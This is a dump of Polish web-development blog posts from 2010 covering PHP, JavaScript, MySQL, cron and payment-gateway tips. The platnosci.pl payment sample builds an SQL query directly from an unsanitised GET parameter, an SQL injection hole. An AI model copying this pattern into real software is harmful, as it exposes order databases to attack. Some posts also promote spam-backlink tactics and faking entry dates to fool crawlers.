i już :) Rozwiązanie nie jest mojego autorstwa - leży sobie <a href='http://www.magentocommerce.com/magento-connect/_/extension/233/lento_platnosci/reviews#reviews' rel='nofollow' target='_blank'>tutaj</a> schowane jako uwaga do modułu dodana przez "Janka".Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com3tag:blogger.com,1999:blog-8484512169442325841.post-83740161244971488422010-09-14T13:08:00.005+02:002010-11-15T10:31:44.956+01:00PicsEngine Declaration of AppOptions::get() should be compatible with that of SystemObject::get()Błąd z tematu pojawia się po wejściu na stronę galerii PicsEngine po aktualizacji PHP do wersji 5.3.3 na serwerze, na którym galeria stoi ;) Problem polega na tym, że o takiej aktualizacji hostingowcy nas często nawet nie poinformują ;)<br />
Cała niemiła sytuacja objawia się komunikatem z obrazka:
<center>
<img src='http://programistawww.pl/przyklady/pe.jpg' alt='błąd picsengine' />
</center>
Sprawę rozwiązuje aktualizacja PicsEngine do wersji 3.5 lub wyższej... w zależności od tego z której wersji korzystaliśmy dotąd problem sprowadza się do przeniesienia katalogów /admin/conf/ i /admin/cache/ o jeden poziom w górę i wgrania nowych plików, lub skorzystania z instrukcji pod adresem: <a href='http://www.picsengine.com/en/support/update-guide' target='_blank' rel='nofollow'>http://www.picsengine.com/en/support/update-guide</a>Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com0tag:blogger.com,1999:blog-8484512169442325841.post-54568567265887516542010-08-07T19:08:00.009+02:002010-08-20T16:33:28.875+02:00SIEROTY i WDOWY na stronie, justowanie tekstuNa stronach internetowych nie ma raczej zwyczaju doskonałego formatowania tekstu, ale zawsze możemy trafić na klienta, który ma coś więcej wspólnego z typografią i powie nam, że to niedopuszczalne żeby w wyjustowanym tekście były literki "i", czy inne pojedyncze znaki na końcu linii. Trudno żebyśmy teraz siedzieli i poprawiali każdy tekst na stronie, który często jest w dodatku kopiowany i wstawiany przez CMS...<br />
Kiedyś wykombinowałem na to prosty skrypcik, który pozwolił uspokoić 2óch bardziej wymagających klientów, a wygląda on tak:
<textarea style='width:100%;height:100px;font-family:"Courier New";font-size:12px;font-weight:bold;'>
var tekst = document.getElementById('tresc').innerHTML;
tekst = tekst.replace(/(\s)([\S])[\s]+/g,"$1$2&nbsp;"); //jednoznakowe
//tekst = tekst.replace(/(\s)([^<][\S]{1})[\s]+/g,"$1$2&nbsp;"); //dwuznakowe
//tekst = tekst.replace(/(\s)([^<][\S]{2})[\s]+/g,"$1$2&nbsp;"); //trzyznakowe
document.getElementById('tresc').innerHTML = tekst;
</textarea>
Skrypt wciska tzw. "twardą spację" (&nbsp; jak mówił Pan z PHP skrót od: "niech będą spacje") po każdym jednoznakowym słowie - wtedy automatycznie to słowo doklei się do kolejnego tak, jakby były jednym wyrazem. Dwu-znakowe i trzy-znakowe zakomentowane, bo uważam to za przesadę, a w dodatku z 3znakowymi jeśli mamy w tekście 3znakowe tagi to też pozamienia i nie zawsze to wyjdzie na dobre :)<br />
tekst powinien się znajdować w elemencie o ID='tresc', ale to chyba widać ;)Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com4tag:blogger.com,1999:blog-8484512169442325841.post-12166351481728518332010-08-07T17:49:00.002+02:002010-08-07T17:53:05.596+02:00Lista województw PHP tablicaWidzę, że <a href='http://filip-lakomik.blogspot.com/2010/04/lista-panstw-php.html#comments'>lista państw</a> się przydała to może przyda się też lista województw. Krótsza, więc od biedy można zrobić ręcznie, ale chyba wygodniej skopiować poniższą tablicę PHP:
<textarea style='width:100%;height:100px;font-family:"Courier New";font-size:12px;font-weight:bold;'>
$wojewodztwa = array(
0=>'dolnośląskie',
1=>'kujawsko-pomorskie',
2=>'lubelskie',
3=>'lubuskie',
4=>'łódzkie',
5=>'małopolskie',
6=>'mazowieckie',
7=>'opolskie',
8=>'podkarpackie',
9=>'podlaskie',
10=>'pomorskie',
11=>'śląskie',
12=>'świętokrzyskie',
13=>'warmińsko-mazurskie',
14=>'wielkopolskie',
15=>'zachodniopomorskie'
);
</textarea>Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com7tag:blogger.com,1999:blog-8484512169442325841.post-75687235979581021662010-07-25T01:28:00.017+02:002011-05-02T17:39:21.861+02:00Domeny .co okazja?22-07-2010 ruszyła rejestracja domen .co (Kolumbia). W Polsce pierwszy udostępnił je <a href='http://tracking.novem.pl/z/12719/CD12881/' target='_blank'>home.pl</a> i okazały się ponoć niezłym hitem. "CO" może być kojarzone ze skrótem od takich angielskich słów jak company, corporation, czy commerce, dlatego domena ma być lepsza niż inne (podobnie jak .tv, czy .fm).<br />
Zachęcony newsem spędziłem całe popołudnie sprawdzając dostępność różnych domen jakie wpadały mi do głowy ;)<br /><br />
Metody poszukiwań:<br />
1. popularne frazy wg googla i rankingów<br />
2. przegląd drogich/często odwiedzanych domen<br />
3. nazwy miast i regionów<br />
4. opcje z literówkami<br />
5. przegląd poważniejszych witryn w popularnej domenie .co.uk<br /><br />
Efekty:<br />
No cóż pojawiło się trochę domen, które na pozór wydały się atrakcyjne, ale po dłuższym na myślę nie kupiłem nic :)<br />
Na początek coś z branży: <b>tworzenie-stron.co</b>, a nawet <b>strony.co</b> - tylko czy bycie na pierwszej stronie na te frazy nie będzie kosztowało więcej wysiłku niż przynosiło korzyści??<br /><br />
<b>czcionka.co, czcionki.co, skrypty.co, chomik.co, chomikuj.co, sieci.co</b> - niby fajne, ale chyba ciężko by było z tego wiele wycisnąć...<br /><br />
<b>dziewczyny.co, azjatki.co</b> - czyli coś pod stronę porno, która linkuje do kolejnej strony porno, a ta do kolejnej, w między czasie mamy już otwartych 20 okienek i wszystkie bez sensu, ale ktoś coś na tym chyba zarabia skoro się w to bawi :) <br /><br />
<b>windows-7.co</b> - spóźniona, <b>beskidy.co</b> - ale beskidy to nie bardzo korporacja ;), <b>kult.co</b> - chyba tylko z sympatii do zespołu, <b>filmy-online.co</b> - może jeśli ktoś ma ochotę konkurować z największymi, <b>cash-flow.co</b> - jedyne co mi się spodobało po angielsku, <b>cieszyn.co</b> - jako jedno z nielicznych niezajętych miast, <b>budownictwo.co</b> - na kolejny katalog firm, <b>kursy.co</b> - tutaj już prawie zarejestrowałem, ale wszedłem na kursy.pl i stwierdziłem, że to nie dla mnie ;)<br /><br />
Podstawowy problem: .co pasuje pod stronę angielskojęzyczną, a domeny z angielskimi słowami są pozajmowane ;) fajną zdobyczą mogłaby być domena pomysłowa typu: <b>kotly.co</b>, domena z bardzo popularnym słowem/frazą, znana domena bez ".uk" na końcu - ale na to już chyba trochę za późno - zostały ochłapy :)<br /><br />
Koszt rejestracji 99zł netto to nie złotówka, więc człowiek nie wejdzie i nie zarejestruje 50 domen na zasadzie "a może się przyda"... <br /><br />
Myślę, że do wzięcia jest trochę krótkich abstrakcyjnych nazw typu: <b>westa.co</b> i mniej hitowe ale niezłe do pozycjonowania domeny z popularnymi frazami...
<a href="http://maja.co">maja</a>Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com6tag:blogger.com,1999:blog-8484512169442325841.post-24935065055833467892010-06-14T21:52:00.009+02:002011-05-02T17:39:07.659+02:00CRONTAB w home.plNa serwerach <a href='http://tracking.novem.pl/z/12719/CD12881/' target='_blank'>home.pl</a> brakuje dostępu do crontaba :( ALE okazuje się, że mają swoje rozwiązanie - mające pewne ograniczenia, ale zdające egzamin w większości przypadków. Na serwerze w katalogu głównym umieszczamy plik, którego nazwa mówi, jak często ma być uruchamiany np:<br />
<b>cron-daily.php</b> - będzie uruchamiany raz na dzień...<br />
<b>cron-hourly.php</b> - będzie uruchamiany raz na godzinę...<br />
Najczęściej pozwalają nam odpalać skrypt co 5 minut: <b>cron-5min.pl</b><br /><br />
Można też robić kombinacje typu:<br />
<b>cron-04.php</b> - codziennie o 4:00 <br /><br />
Jest tam jeszcze kilka opcji - szczegóły w <a href='http://home.pl/dokumentacja/funkcjeserwera/skrypty/cron' rel='nofollow' target='_blank'>dokumentacji</a>.<br /><br />
Nie zawsze chcemy nazywać pliki w ten sposób i nie zawsze pasuje nam umieszczanie ich w katalogu głównym, ale nie szkodzi nam w śmiesznym pliczku: cron-daily.php napisać:<br /><br />
<b>file_get_contents('http://programistawww.pl/crontab.php');</b>
<br /><br />
W niektórych wypadkach 5 minut to może być za rzadko, tylko, że w tych wypadkach zazwyczaj aplikacja stoi na serwerze dedykowanym, gdzie jest dostęp do crona ;)Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com1tag:blogger.com,1999:blog-8484512169442325841.post-18648401465658629492010-05-27T21:31:00.019+02:002010-11-15T10:32:55.855+01:00OBSŁUGA PŁATNOŚCI.PL W PHPMusiałem ostatnio dorobić moduł <b>płatności</b> do strony, gdzie nie dało się zainstalować gotowego modułu, bo go nie było :) Z szybkiego przeglądu forów wynika, że bractwo programistyczne niechętnie dzieli się kodem w tym temacie. Ja postanowiłem się podzielić podstawowym kodem. Pewnie będzie wymagał dopracowania, ale zawsze lepiej zacząć od czegoś, co chociaż w części jest zrobione.<br /><br />
<h3>Jak działają platnosci.pl w skrócie</h3>
Oczywiście pisząc moduł dobrze się zapoznać z <a href='http://www.platnosci.pl/download.php?files,11' rel='nofollow'>dokumentacją techniczną</a>, ale chodzi mi o skrót, który wygląda mniej więcej tak:<br />
1. Nasz skrypt wysyła POST na stronę platnosci.pl z parametrami, z których obowiązkowe to:<br />
- pos_id - numer tzw POSa (punktu usługowego), czyli jakby jednostki przez którą ma to iść, można takich tworzyć wiele na jednym koncie i różnie je konfigurować,<br />
- pos_auth_key - kod autoryzacyjny nadany przez serwis płatności,<br />
- session_id - unikalny identyfikator,<br />
- amount - kwota zakupu w groszach,<br />
- desc - krótki opis,<br />
- js - info, czy przeglądarka klienta obsługuje JS<br />
- first_name, last_name, client_ip, email - czyli wiadomo.<br /><br />
2. Klient coś tam sobie klika po ich stronie i na końcu jest przekierowany na jeden z dwóch adresów, które podajemy w konfiguracji:<br />
- pierwszy jest w sytuacji jak wszystko poszło OK np: mojadomena.pl/ok.php<br />
- drugi w sytuacji kiedy coś nawaliło np: mojadomena.pl/error.php<br />
do obydwu adresów mogą być przekazane dodatkowe parametry GETem np: mojadomena.pl/error.php?error=%error_id%&order_id=%order_id%<br />
UWAGA PRZEKIEROWANIE NA ok.php NIE OZNACZA, ŻE MAMY JUŻ KASĘ NA KONCIE - OZNACZA, ŻE RACZEJ POSZŁO OK, ALE TRZEBA TO SPRAWDZIĆ.<br /><br />
3. Ostatni etap to sprawdzanie statusów płatności. Nie potrzebujemy do tego crona. Platnosci.pl same informują nas o tym, że zaszła zmiana i wtedy musimy ją pobrać. Służy do tego 3 skrypt: mojadomena.pl/online.php Jest on wywoływany przez pltnosci.pl w momencie gdy zajdzie jakaś zmiana i wtedy on sam powinien zapytać płatności o zmianę i ją obsłużyć.<br /><br />
<h3>implementacja</h3>
ad1. Ta część jest prosta i zrealizuje ją prosty formularz, przykładowy jest w klasie <a href='http://programistawww.pl/przyklady/platnoscipl.php.txt'>platnoscipl</a> - mojego autorstwa, ale mocno inspirowana klasą z prestashopa ;)w metodzie: orderForm(). Prawie identyczny formularz jest w dokumentacji platnosci.pl. Przed wyświetleniem formularza należy stworzyć order metodą podobną do: createOrder(); żeby się ustawiły pola w klasie platnoscipl wykorzystywane w formularzu;]<br /><br />
ad2. Jako error.php i ok.php posłuży skrypt z szablonem naszej strony, który w części głównej wypluje coś w rodzaju:
<textarea class='kod'>
<h2 class="h2s">BŁĄD PŁATNOŚCI</h2>
<?php
require('platnoscipl.php');
$ppl = new platnoscipl();
$dane_zamowienia = mysql_query("SELECT * FROM tabela_z_zamowieniami WHERE order_id='{$_GET['order']}'");
$dane_zamowienia= mysql_fetch_assoc($dane_zamowienia);
$kwotazl = $ppl->zlotowki($dane_zamowienia['amount']);
$status = $ppl->getStatus($dane_zamowienia['status']);
echo "
kwota: {$kwotazl} PLN<br />
opis zamówienia: {$dane_zamowienia['desc']}<br />
status: {$status['message']}<br />
<span style='color:#FF0000;'>{$ppl->errorMsg($_GET['error'])}</span>
";
?>
</textarea>
ok.php jest analogiczny, tylko bez errora i z weselszym tytułem, więc nie piszę...
<br /><br />
ad3. I na koniec zostaje plik komunikujący się "na serio" z płatnościami: <a href='http://programistawww.pl/przyklady/online.php.txt'>online.php</a> - też mój, ale wykorzystane fragmenty kodu modułu płatności do prestashopa, bo tak prościej.<br /><br />
Pliki są wycięte z wersji beta aplikacji, którą piszę, następnie okrojone i dodatkowo okomentowane i po tym okrojeniu już nie testowane, więc mogły wkraść się drobne błędy ;) Myślę, że z nimi dużo łatwiej niż z samą treścią dokumentacji ;)<br /><br />Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com20tag:blogger.com,1999:blog-8484512169442325841.post-73365390210240067982010-05-24T23:41:00.007+02:002010-05-27T21:31:31.528+02:00Losowe daty w MySQLGenerowałem ostatnio bazę danych katalogu stron i już po uruchomieniu zorientowałem się, że dobrze by było jak by wpisy miały <b>zróżnicowane daty</b>. <br />
Można to uzyskać pisząc jedno sprytne zapytanie do bazy:<br />
<textarea style='width:100%;height:100px;font-family:"Courier New";font-size:12px;font-weight:bold;'>
UPDATE nazwa_tabeli SET data= '2010-01-01′ + interval rand()*150 day
</textarea>
2010-01-01 - to <b>data początkowa</b><br />
150 - to liczba dni jaką MAKSYMALNIE dodajemy do daty początkowej generując kolejne daty<br />
<br />
Jeszcze by się jakiemuś robotowi nie spodobało, że wszystkie wpisy mają jedną datę ;)Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com0tag:blogger.com,1999:blog-8484512169442325841.post-10876373869433931402010-05-21T20:29:00.009+02:002010-05-27T21:30:43.184+02:00WYŁĄCZYĆ HINT z ALT-em OBRAZKA w IEKorzystając ze skryptów prezentujących obrazki często wpadamy na pomysł, żeby wykorzystać atrybuty <b>alt</b>, lub <b>title</b> w sposób inny niż wynika z ich HTML-owego przeznaczenia.<br />
W jednym z ostatnich projektów wykorzystywałem skrypt <b>imageflow</b>, który atrybut alt obrazka wyświetla jako etykietę. Do alta wstawiłem więc ostylowaną tabelę. Wszystko działa, skrypt pobiera z atrybutu alt kod HTML i wstawia go do właściwego DIV-a...<br />
PROBLEM W TYM, ŻE IE PO NAJECHANIU WYŚWIETLA KOD TABELI :(<br />
Rozwiązanie okazuje się proste:
<textarea style='width:100%;height:100px;font-family:"Courier New";font-size:12px;font-weight:bold;'>
<img src='link obrazka' alt='kod HTML' title='' />
</textarea>
Czyli jeśli wpiszemy title='' to IE nie będzie wyświetlał hinta z altem. Żeby się za dużo nie napisać można to zmienić skryptem. W imageflow po linii 566 dopisać:
<textarea style='width:100%;height:100px;font-family:"Courier New";font-size:12px;font-weight:bold;'>
/* Display new caption */
var caption = thisObject.imagesDiv.childNodes[imageID].getAttribute('alt'); //pobranie etykiety
thisObject.imagesDiv.childNodes[imageID].setAttribute('title','');//dodane wyczyszczenie title
</textarea>Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com0tag:blogger.com,1999:blog-8484512169442325841.post-78734718522595747492010-05-06T17:09:00.014+02:002010-05-06T17:34:52.221+02:00ZNIKANIE TREŚCI STRONY - ROBOTYKilka dni temu robiłem modyfikacje na portalu opartym o live framework. Nie jestem autorem kodu, ale zmiany nie były duże, wymagały jedynie rozbudowy jednej tabeli i drobnych zmian w zapytaniach.<br /><br />
Po kliku dniach okazało się, że ze strony <b>zniknęła większość artykułów</b> oraz ogłoszeń. Pomimo ciężkich rozmyślań nad możliwością namieszania czegoś przeze mnie nie mogłem dojść jak modyfikacja kilku selectów i skórek mogą by spowodować skasowanie danych z bazy mysql. Rozmyślanie było tym bardziej utrudnione, ponieważ spora część kodu strony była zaszyfrowana. <br />
Właściwie pozostało mi zdenerwowanie, że z powodu zmian wartych kilka groszy wyjdę na gościa, co psuje portale... i wtedy znalazłem <a href="http://blog.adiasz.pl/2007/12/13/bot-alexacom-i-znikajace-dane-w-serwisach/" rel="nofollow">ARTYKUŁ</a>.<br /><br />
Okazało się, że rzeczywiście administratorka portalu miała zainstalowany <b>alexa toolbar</b>, a w panelu linki do kasowania artykułów były zwykłymi linkami (bez żadnego skryptowego potwierdzenia itp...). Prawdopodobnie sama aplikacja alexa toolbar łazi po wszystkich linkach jakie widzi (a nie robot komunikujący się z aplikacją - to przypuszczenie, ale tak chyba prościej), ale wszystko jedno - pewne jest to, że jest to trudna do przewidzenia dziura, która może być w wielu systemach. Ciężko się zabezpieczyć przed czymś, co działa po stronie zalogowanej do panelu przeglądarki... Taka aplikacja może zrobić właściwie wszystko co może zrobić użytkownik: skasować, zrobić zakupy, a może nawet zrobić przelew??<br />
Wczoraj robiłem porządek na komputerze żony i znalazłem na nim z 5 toolbarów: skype, winamp i jakieś mało znane. Oczywiście nie muszę dodawać, że żaden z nich nie był przez nią używany - nawet nie wiedziała co to jest ;)<br /><br />
<span style="font-weight:bold;">DLATEGO LUDZIE PATRZCIE CO INSTALUJECIE, BO ONE SIĘ SAME NIE INSTALUJĄ!!!!</span>Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com1tag:blogger.com,1999:blog-8484512169442325841.post-81782267596769830742010-05-05T01:47:00.002+02:002010-05-05T01:49:30.149+02:00Scuttle - tworzenie zapleczaPolecam <a href="http://www.fabrykaspamu.pl/niesamowity-scuttle/">artykuł</a> :)<br />
i zapraszam na stronę: <a href="http://jezyk-angielski.eu/">jezyk-angielski.eu</a>, która jest jednocześnie testem tego skryptu :) odezwę się w przyszłości, jeśli okaże się testem udanym :)Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com0tag:blogger.com,1999:blog-8484512169442325841.post-34386305231376765162010-05-03T13:24:00.004+02:002010-05-03T13:31:05.286+02:00KOLEJNOŚĆ ŁADOWANIA PLIKÓW index.html, index.php - .htaccessKrótka informacja jak zmusić serwer do załadowania tego, czego chcemy, jeśli użytkownik nie wpisze nazwy pliku. Domyślnie zwykle jest ładowany plik index.html, jeśli takiego nie ma to index.php itd...<br />
Kolejność można zmienić w pliku .htaccess, jeśli mamy do niego dostęp za pomocą instrukcji:<br /><br />
<b>DirectoryIndex index.php index.html</b><br /><br />
możemy tam wypisać dowolne pliki oddzielone spacją. Należy zwrócić uwagę, że jeśli w katalogu nie znajduje się żaden z wymienionych plików, to serwer może wyświetlić listing katalogu, co nie zawsze jest wskazane.Filip Łakomikhttp://www.blogger.com/profile/14850664636819231120noreply@blogger.com0